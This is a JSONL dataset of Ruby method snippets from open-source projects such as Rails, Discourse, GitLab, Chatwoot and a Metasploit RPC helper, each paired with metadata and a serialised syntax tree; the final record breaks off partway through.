{"repo_name":"discourse","file_path":"./repos/discourse/plugins/discourse-reactions/app/controllers/discourse_reactions/custom_reactions_controller.rb","start_line":287,"raw_source":"def fetch_post_from_params\n    post_id = params[:post_id] || params[:id]\n    post = Post.find(post_id)\n    guardian.ensure_can_see!(post)\n    post\n  end","complexity_score":11.0,"ast_json":"{\"type\":\"def\",\"children\":[\"fetch_post_from_params\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"post_id\",{\"type\":\"or\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"params\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"post_id\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"params\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"id\"]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"post\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Post\"]},\"find\",{\"type\":\"lvar\",\"children\":[\"post_id\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"guardian\"]},\"ensure_can_see!\",{\"type\":\"lvar\",\"children\":[\"post\"]}]},{\"type\":\"lvar\",\"children\":[\"post\"]}]}]}","id":"30918529-951b-463a-9e29-c63ba02e6a1b"}
{"repo_name":"discourse","file_path":"./repos/discourse/lib/onebox/engine/standard_embed.rb","start_line":158,"raw_source":"def get_json_ld\n        @json_ld ||= Onebox::JsonLd.new(html_doc)\n      end","complexity_score":3.2,"ast_json":"{\"type\":\"def\",\"children\":[\"get_json_ld\",{\"type\":\"args\",\"children\":[]},{\"type\":\"or_asgn\",\"children\":[{\"type\":\"ivasgn\",\"children\":[\"@json_ld\"]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Onebox\"]},\"JsonLd\"]},\"new\",{\"type\":\"send\",\"children\":[null,\"html_doc\"]}]}]}]}","id":"0a754eec-4a8f-4322-91fe-d0eaedd5e013"}
{"repo_name":"discourse","file_path":"./repos/discourse/db/migrate/20190103065652_remove_uploaded_meta_id_from_category.rb","start_line":8,"raw_source":"def up\n    DROPPED_COLUMNS.each { |table, columns| Migration::ColumnDropper.execute_drop(table, columns) }\n  end","complexity_score":3.1,"ast_json":"{\"type\":\"def\",\"children\":[\"up\",{\"type\":\"args\",\"children\":[]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"DROPPED_COLUMNS\"]},\"each\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"table\"]},{\"type\":\"arg\",\"children\":[\"columns\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Migration\"]},\"ColumnDropper\"]},\"execute_drop\",{\"type\":\"lvar\",\"children\":[\"table\"]},{\"type\":\"lvar\",\"children\":[\"columns\"]}]}]}]}","id":"87a65707-ccc6-48be-ba6f-d02db12fd351"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/lib/msf/core/rpc/json/dispatcher.rb","start_line":189,"raw_source":"def self.create_error_response(error, request = nil)\n      response = {\n          # A String specifying the version of the JSON-RPC protocol.\n          jsonrpc: JSON_RPC_VERSION,\n\n          # This member is REQUIRED on error.\n          # This member MUST NOT exist if there was no error triggered during invocation.\n          # The value for this member MUST be an Object as defined in section 5.1.\n          error: error.to_h\n      }\n\n      self.add_response_id_member(response, request)\n\n      response\n    end","complexity_score":4.0,"ast_json":"{\"type\":\"defs\",\"children\":[{\"type\":\"self\",\"children\":[]},\"create_error_response\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"error\"]},{\"type\":\"optarg\",\"children\":[\"request\",{\"type\":\"nil\",\"children\":[]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"response\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"jsonrpc\"]},{\"type\":\"const\",\"children\":[null,\"JSON_RPC_VERSION\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"error\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"error\"]},\"to_h\"]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"self\",\"children\":[]},\"add_response_id_member\",{\"type\":\"lvar\",\"children\":[\"response\"]},{\"type\":\"lvar\",\"children\":[\"request\"]}]},{\"type\":\"lvar\",\"children\":[\"response\"]}]}]}","id":"e172cced-7661-41df-a3af-71dc2f89220d"}
{"repo_name":"chatwoot","file_path":"./repos/chatwoot/app/services/whatsapp/phone_info_service.rb","start_line":21,"raw_source":"def fetch_and_process_phone_info\n    response = @api_client.fetch_phone_numbers(@waba_id)\n    phone_numbers = response['data']\n\n    phone_data = find_phone_data(phone_numbers)\n    raise \"No phone numbers found for WABA #{@waba_id}\" if phone_data.nil?\n\n    build_phone_info(phone_data)\n  end","complexity_score":10.1,"ast_json":"{\"type\":\"def\",\"children\":[\"fetch_and_process_phone_info\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"response\",{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@api_client\"]},\"fetch_phone_numbers\",{\"type\":\"ivar\",\"children\":[\"@waba_id\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"phone_numbers\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"response\"]},\"[]\",{\"type\":\"str\",\"children\":[\"data\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"phone_data\",{\"type\":\"send\",\"children\":[null,\"find_phone_data\",{\"type\":\"lvar\",\"children\":[\"phone_numbers\"]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"phone_data\"]},\"nil?\"]},{\"type\":\"send\",\"children\":[null,\"raise\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"No phone numbers found for WABA \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@waba_id\"]}]}]}]},null]},{\"type\":\"send\",\"children\":[null,\"build_phone_info\",{\"type\":\"lvar\",\"children\":[\"phone_data\"]}]}]}]}","id":"f97014d9-8c3b-4eae-8281-a2ddc54ca560"}
{"repo_name":"rails","file_path":"./repos/rails/activerecord/test/cases/transaction_instrumentation_test.rb","start_line":186,"raw_source":"def test_transaction_instrumentation_with_unmaterialized_restart_parent_transactions\n    events = []\n    subscriber = ActiveSupport::Notifications.subscribe(\"transaction.active_record\") do |event|\n      events << event\n    end\n\n    ActiveRecord::Base.transaction do\n      ActiveRecord::Base.transaction(requires_new: true) do\n        raise ActiveRecord::Rollback\n      end\n    end\n\n    assert_equal 0, events.count\n  ensure\n    ActiveSupport::Notifications.unsubscribe(subscriber) if subscriber\n  end","complexity_score":16.0,"ast_json":"{\"type\":\"def\",\"children\":[\"test_transaction_instrumentation_with_unmaterialized_restart_parent_transactions\",{\"type\":\"args\",\"children\":[]},{\"type\":\"ensure\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"events\",{\"type\":\"array\",\"children\":[]}]},{\"type\":\"lvasgn\",\"children\":[\"subscriber\",{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ActiveSupport\"]},\"Notifications\"]},\"subscribe\",{\"type\":\"str\",\"children\":[\"transaction.active_record\"]}]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"event\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"events\"]},\"<<\",{\"type\":\"lvar\",\"children\":[\"event\"]}]}]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ActiveRecord\"]},\"Base\"]},\"transaction\"]},{\"type\":\"args\",\"children\":[]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ActiveRecord\"]},\"Base\"]},\"transaction\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"requires_new\"]},{\"type\":\"true\",\"children\":[]}]}]}]},{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[null,\"raise\",{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ActiveRecord\"]},\"Rollback\"]}]}]}]},{\"type\":\"send\",\"children\":[null,\"assert_equal\",{\"type\":\"int\",\"children\":[0]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"events\"]},\"count\"]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"lvar\",\"children\":[\"subscriber\"]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ActiveSupport\"]},\"Notifications\"]},\"unsubscribe\",{\"type\":\"lvar\",\"children\":[\"subscriber\"]}]},null]}]}]}","id":"b104acbb-e4f7-4cca-ba30-9a7ed83f5bf7"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/helpers/integrations_helper.rb","start_line":142,"raw_source":"def integration_overrides_data(integration, project: nil, group: nil)\n    {\n      edit_path: scoped_edit_integration_path(integration, project: project, group: group),\n      overrides_path: scoped_overrides_integration_path(integration, format: :json)\n    }\n  end","complexity_score":2.0,"ast_json":"{\"type\":\"def\",\"children\":[\"integration_overrides_data\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"integration\"]},{\"type\":\"kwoptarg\",\"children\":[\"project\",{\"type\":\"nil\",\"children\":[]}]},{\"type\":\"kwoptarg\",\"children\":[\"group\",{\"type\":\"nil\",\"children\":[]}]}]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"edit_path\"]},{\"type\":\"send\",\"children\":[null,\"scoped_edit_integration_path\",{\"type\":\"lvar\",\"children\":[\"integration\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"project\"]},{\"type\":\"lvar\",\"children\":[\"project\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"group\"]},{\"type\":\"lvar\",\"children\":[\"group\"]}]}]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"overrides_path\"]},{\"type\":\"send\",\"children\":[null,\"scoped_overrides_integration_path\",{\"type\":\"lvar\",\"children\":[\"integration\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"format\"]},{\"type\":\"sym\",\"children\":[\"json\"]}]}]}]}]}]}]}","id":"e8d9bc67-a107-4543-8cff-2ac839a047cd"}
{"repo_name":"rails","file_path":"./repos/rails/activesupport/lib/active_support/core_ext/object/json.rb","start_line":237,"raw_source":"def as_json(options = nil)\n    to_s\n  end","complexity_score":2.0,"ast_json":"{\"type\":\"def\",\"children\":[\"as_json\",{\"type\":\"args\",\"children\":[{\"type\":\"optarg\",\"children\":[\"options\",{\"type\":\"nil\",\"children\":[]}]}]},{\"type\":\"send\",\"children\":[null,\"to_s\"]}]}","id":"fa7eb44d-de20-4403-9130-860f18ed1aa7"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/lib/gitlab/cache/helpers.rb","start_line":135,"raw_source":"def increment_cache_metric(render_type:, total_count:, miss_count:)\n        return unless caller_id\n\n        metric_name = :cached_object_operations_total\n        hit_count = total_count - miss_count\n\n        current_transaction&.increment(\n          metric_name,\n          hit_count,\n          { caller_id: caller_id, render_type: render_type, cache_hit: true }\n        )\n\n        current_transaction&.increment(\n          metric_name,\n          miss_count,\n          { caller_id: caller_id, render_type: render_type, cache_hit: false }\n        )\n      end","complexity_score":12.0,"ast_json":"{\"type\":\"def\",\"children\":[\"increment_cache_metric\",{\"type\":\"args\",\"children\":[{\"type\":\"kwarg\",\"children\":[\"render_type\"]},{\"type\":\"kwarg\",\"children\":[\"total_count\"]},{\"type\":\"kwarg\",\"children\":[\"miss_count\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[null,\"caller_id\"]},null,{\"type\":\"return\",\"children\":[]}]},{\"type\":\"lvasgn\",\"children\":[\"metric_name\",{\"type\":\"sym\",\"children\":[\"cached_object_operations_total\"]}]},{\"type\":\"lvasgn\",\"children\":[\"hit_count\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"total_count\"]},\"-\",{\"type\":\"lvar\",\"children\":[\"miss_count\"]}]}]},{\"type\":\"csend\",\"children\":[{\"type\":\"send\",\"children\":[null,\"current_transaction\"]},\"increment\",{\"type\":\"lvar\",\"children\":[\"metric_name\"]},{\"type\":\"lvar\",\"children\":[\"hit_count\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"caller_id\"]},{\"type\":\"send\",\"children\":[null,\"caller_id\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"render_type\"]},{\"type\":\"lvar\",\"children\":[\"render_type\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"cache_hit\"]},{\"type\":\"true\",\"children\":[]}]}]}]},{\"type\":\"csend\",\"children\":[{\"type\":\"send\",\"children\":[null,\"current_transaction\"]},\"increment\",{\"type\":\"lvar\",\"children\":[\"metric_name\"]},{\"type\":\"lvar\",\"children\":[\"miss_count\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"caller_id\"]},{\"type\":\"send\",\"children\":[null,\"caller_id\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"render_type\"]},{\"type\":\"lvar\",\"children\":[\"render_type\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"cache_hit\"]},{\"type\":\"false\",\"children\":[]}]}]}]}]}]}","id":"cfa90616-77ec-47dc-916d-5547b6f10495"}
{"repo_name":"rails","file_path":"./repos/rails/actionview/lib/action_view/template.rb","start_line":231,"raw_source":"def spot(location) # :nodoc:\n      node_id = RubyVM::AbstractSyntaxTree.node_id_for_backtrace_location(location)\n      found =\n        if RubyVM::InstructionSequence.compile(\"\").to_a[4][:parser] == :prism\n          require \"prism\"\n\n          if Prism::VERSION >= \"1.0.0\"\n            result = Prism.parse(compiled_source).value\n            result.breadth_first_search { |node| node.node_id == node_id }\n          end\n        else\n          node = RubyVM::AbstractSyntaxTree.parse(compiled_source, keep_script_lines: true)\n          find_node_by_id(node, node_id)\n        end\n\n      ErrorHighlight.spot(found) if found\n    end","complexity_score":34.3,"ast_json":"{\"type\":\"def\",\"children\":[\"spot\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"location\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"node_id\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"RubyVM\"]},\"AbstractSyntaxTree\"]},\"node_id_for_backtrace_location\",{\"type\":\"lvar\",\"children\":[\"location\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"found\",{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"RubyVM\"]},\"InstructionSequence\"]},\"compile\",{\"type\":\"str\",\"children\":[\"\"]}]},\"to_a\"]},\"[]\",{\"type\":\"int\",\"children\":[4]}]},\"[]\",{\"type\":\"sym\",\"children\":[\"parser\"]}]},\"==\",{\"type\":\"sym\",\"children\":[\"prism\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"require\",{\"type\":\"str\",\"children\":[\"prism\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Prism\"]},\"VERSION\"]},\">=\",{\"type\":\"str\",\"children\":[\"1.0.0\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"result\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Prism\"]},\"parse\",{\"type\":\"send\",\"children\":[null,\"compiled_source\"]}]},\"value\"]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"result\"]},\"breadth_first_search\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"node\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"node\"]},\"node_id\"]},\"==\",{\"type\":\"lvar\",\"children\":[\"node_id\"]}]}]}]},null]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"node\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"RubyVM\"]},\"AbstractSyntaxTree\"]},\"parse\",{\"type\":\"send\",\"children\":[null,\"compiled_source\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"keep_script_lines\"]},{\"type\":\"true\",\"children\":[]}]}]}]}]},{\"type\":\"send\",\"children\":[null,\"find_node_by_id\",{\"type\":\"lvar\",\"children\":[\"node\"]},{\"type\":\"lvar\",\"children\":[\"node_id\"]}]}]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"lvar\",\"children\":[\"found\"]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ErrorHighlight\"]},\"spot\",{\"type\":\"lvar\",\"children\":[\"found\"]}]},null]}]}]}","id":"32fe713c-57aa-4542-8e11-d427e160f02e"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/models/note.rb","start_line":882,"raw_source":"def ensure_noteable_can_have_confidential_note\n    return unless confidential?\n    return if noteable_can_have_confidential_note?\n\n    errors.add(:confidential, _('can not be set for this resource'))\n  end","complexity_score":7.4,"ast_json":"{\"type\":\"def\",\"children\":[\"ensure_noteable_can_have_confidential_note\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[null,\"confidential?\"]},null,{\"type\":\"return\",\"children\":[]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[null,\"noteable_can_have_confidential_note?\"]},{\"type\":\"return\",\"children\":[]},null]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"errors\"]},\"add\",{\"type\":\"sym\",\"children\":[\"confidential\"]},{\"type\":\"send\",\"children\":[null,\"_\",{\"type\":\"str\",\"children\":[\"can not be set for this resource\"]}]}]}]}]}","id":"78c4d356-20e1-4794-93df-24967f0feeb8"}
{"repo_name":"openproject","file_path":"./repos/openproject/app/helpers/settings_helper.rb","start_line":164,"raw_source":"def setting_label(setting, options = {})\n    label = options[:label]\n    return \"\".html_safe if label == false\n\n    styled_label_tag(\n      \"settings_#{setting}\", options[:not_translated_label] || I18n.t(label || \"setting_#{setting}\"),\n      options.slice(:title)\n    )\n  end","complexity_score":13.6,"ast_json":"{\"type\":\"def\",\"children\":[\"setting_label\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"setting\"]},{\"type\":\"optarg\",\"children\":[\"options\",{\"type\":\"hash\",\"children\":[]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"label\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"options\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"label\"]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"label\"]},\"==\",{\"type\":\"false\",\"children\":[]}]},{\"type\":\"return\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"str\",\"children\":[\"\"]},\"html_safe\"]}]},null]},{\"type\":\"send\",\"children\":[null,\"styled_label_tag\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"settings_\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"setting\"]}]}]},{\"type\":\"or\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"options\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"not_translated_label\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"I18n\"]},\"t\",{\"type\":\"or\",\"children\":[{\"type\":\"lvar\",\"children\":[\"label\"]},{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"setting_\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"setting\"]}]}]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"options\"]},\"slice\",{\"type\":\"sym\",\"children\":[\"title\"]}]}]}]}]}","id":"79a81b2c-be59-47e1-a123-fe6f6383de24"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/lib/gitlab/quick_actions/timeline_text_and_date_time_separator.rb","start_line":31,"raw_source":"def get_raw_date_string\n        @timeline_event_arg.split('|')[1]&.strip\n      end","complexity_score":4.18,"ast_json":"{\"type\":\"def\",\"children\":[\"get_raw_date_string\",{\"type\":\"args\",\"children\":[]},{\"type\":\"csend\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@timeline_event_arg\"]},\"split\",{\"type\":\"str\",\"children\":[\"|\"]}]},\"[]\",{\"type\":\"int\",\"children\":[1]}]},\"strip\"]}]}","id":"675cd279-b483-4353-9c2b-54b6d6871d5d"}
{"repo_name":"rubocop","file_path":"./repos/rubocop/lib/rubocop/cop/naming/file_name.rb","start_line":54,"raw_source":"def on_new_investigation\n          file_path = processed_source.file_path\n          return if config.file_to_exclude?(file_path) || config.allowed_camel_case_file?(file_path)\n\n          for_bad_filename(file_path)\n        end","complexity_score":11.0,"ast_json":"{\"type\":\"def\",\"children\":[\"on_new_investigation\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"file_path\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"processed_source\"]},\"file_path\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"or\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"config\"]},\"file_to_exclude?\",{\"type\":\"lvar\",\"children\":[\"file_path\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"config\"]},\"allowed_camel_case_file?\",{\"type\":\"lvar\",\"children\":[\"file_path\"]}]}]},{\"type\":\"return\",\"children\":[]},null]},{\"type\":\"send\",\"children\":[null,\"for_bad_filename\",{\"type\":\"lvar\",\"children\":[\"file_path\"]}]}]}]}","id":"5d636671-eddb-4f53-b31b-31ac82cac694"}
{"repo_name":"rails","file_path":"./repos/rails/activerecord/test/cases/adapters/postgresql/geometric_test.rb","start_line":133,"raw_source":"def test_legacy_default\n    assert_equal [12.2, 13.3], PostgresqlPoint.column_defaults[\"legacy_y\"]\n    assert_equal [12.2, 13.3], PostgresqlPoint.new.legacy_y\n\n    assert_equal [14.4, 15.5], PostgresqlPoint.column_defaults[\"legacy_z\"]\n    assert_equal [14.4, 15.5], PostgresqlPoint.new.legacy_z\n  end","complexity_score":16.8,"ast_json":"{\"type\":\"def\",\"children\":[\"test_legacy_default\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"assert_equal\",{\"type\":\"array\",\"children\":[{\"type\":\"float\",\"children\":[12.2]},{\"type\":\"float\",\"children\":[13.3]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"PostgresqlPoint\"]},\"column_defaults\"]},\"[]\",{\"type\":\"str\",\"children\":[\"legacy_y\"]}]}]},{\"type\":\"send\",\"children\":[null,\"assert_equal\",{\"type\":\"array\",\"children\":[{\"type\":\"float\",\"children\":[12.2]},{\"type\":\"float\",\"children\":[13.3]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"PostgresqlPoint\"]},\"new\"]},\"legacy_y\"]}]},{\"type\":\"send\",\"children\":[null,\"assert_equal\",{\"type\":\"array\",\"children\":[{\"type\":\"float\",\"children\":[14.4]},{\"type\":\"float\",\"children\":[15.5]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"PostgresqlPoint\"]},\"column_defaults\"]},\"[]\",{\"type\":\"str\",\"children\":[\"legacy_z\"]}]}]},{\"type\":\"send\",\"children\":[null,\"assert_equal\",{\"type\":\"array\",\"children\":[{\"type\":\"float\",\"children\":[14.4]},{\"type\":\"float\",\"children\":[15.5]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"PostgresqlPoint\"]},\"new\"]},\"legacy_z\"]}]}]}]}","id":"6b92b0f0-2984-4d33-a8b5-023800159308"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/rubocop/migration_helpers.rb","start_line":102,"raw_source":"def rubocop_path\n      File.expand_path(__dir__)\n    end","complexity_score":2.2,"ast_json":"{\"type\":\"def\",\"children\":[\"rubocop_path\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"File\"]},\"expand_path\",{\"type\":\"send\",\"children\":[null,\"__dir__\"]}]}]}","id":"e90c9685-a0e6-435c-9751-7f68d2700b9b"}
{"repo_name":"discourse","file_path":"./repos/discourse/app/models/group.rb","start_line":521,"raw_source":"def self.refresh_automatic_group!(name)\n    return unless id = AUTO_GROUPS[name]\n\n    unless group = self.lookup_group(name)\n      group = Group.new(name: name.to_s, automatic: true)\n\n      if AUTO_GROUPS[:moderators] == id\n        group.default_notification_level = 2\n        group.messageable_level = ALIAS_LEVELS[:everyone]\n      end\n\n      group.id = id\n      group.save!\n    end\n\n    # don't allow shoddy localization to break this\n    localized_name = I18n.t(\"groups.default_names.#{name}\", locale: SiteSetting.default_locale)\n    default_name = I18n.t(\"groups.default_names.#{name}\")\n\n    group.name =\n      if can_use_name?(localized_name, group)\n        localized_name\n      elsif can_use_name?(default_name, group)\n        default_name\n      else\n        name.to_s\n      end\n\n    # the everyone group is special, it can include non-users so there is no\n    # way to have the membership in a table\n    case name\n    when :everyone\n      group.visibility_level = Group.visibility_levels[:staff]\n      group.save!\n      return group\n    when :moderators\n      group.update!(messageable_level: ALIAS_LEVELS[:everyone])\n    end\n\n    if group.visibility_level == Group.visibility_levels[:public]\n      group.update!(visibility_level: Group.visibility_levels[:logged_on_users])\n    end\n\n    # Remove people from groups they don't belong in.\n    remove_subquery =\n      case name\n      when :admins\n        \"SELECT id FROM users WHERE NOT admin OR staged\"\n      when :moderators\n        \"SELECT id FROM users WHERE NOT moderator OR staged\"\n      when :staff\n        \"SELECT id FROM users WHERE (NOT admin AND NOT moderator) OR staged\"\n      when :trust_level_0, :trust_level_1, :trust_level_2, :trust_level_3, :trust_level_4\n        \"SELECT id FROM users WHERE trust_level < #{id - 10} OR staged\"\n      end\n\n    removed_user_ids = DB.query_single <<-SQL\n      DELETE FROM group_users\n            USING (#{remove_subquery}) X\n            WHERE group_id = #{group.id}\n              AND user_id = X.id\n      RETURNING group_users.user_id\n    SQL\n\n    if removed_user_ids.present?\n      Jobs.enqueue(\n        :publish_group_membership_updates,\n        user_ids: removed_user_ids,\n        group_id: group.id,\n        type: AUTO_GROUPS_REMOVE,\n      )\n    end\n\n    # Add people to groups\n    insert_subquery =\n      case name\n      when :admins\n        \"SELECT id FROM users WHERE admin AND NOT staged\"\n      when :moderators\n        \"SELECT id FROM users WHERE moderator AND NOT staged\"\n      when :staff\n        \"SELECT id FROM users WHERE (moderator OR admin) AND NOT staged\"\n      when :trust_level_1, :trust_level_2, :trust_level_3, :trust_level_4\n        \"SELECT id FROM users WHERE trust_level >= #{id - 10} AND NOT staged\"\n      when :trust_level_0\n        \"SELECT id FROM users WHERE NOT staged\"\n      end\n\n    added_user_ids = DB.query_single <<-SQL\n      INSERT INTO group_users (group_id, user_id, created_at, updated_at)\n           SELECT #{group.id}, X.id, now(), now()\n             FROM group_users\n       RIGHT JOIN (#{insert_subquery}) X ON X.id = user_id AND group_id = #{group.id}\n            WHERE user_id IS NULL\n       RETURNING group_users.user_id\n    SQL\n\n    group.save!\n\n    if added_user_ids.present?\n      Jobs.enqueue(\n        :publish_group_membership_updates,\n        user_ids: added_user_ids,\n        group_id: group.id,\n        type: AUTO_GROUPS_ADD,\n      )\n    end\n\n    # we want to ensure consistency\n    Group.reset_user_count(group)\n\n    group\n  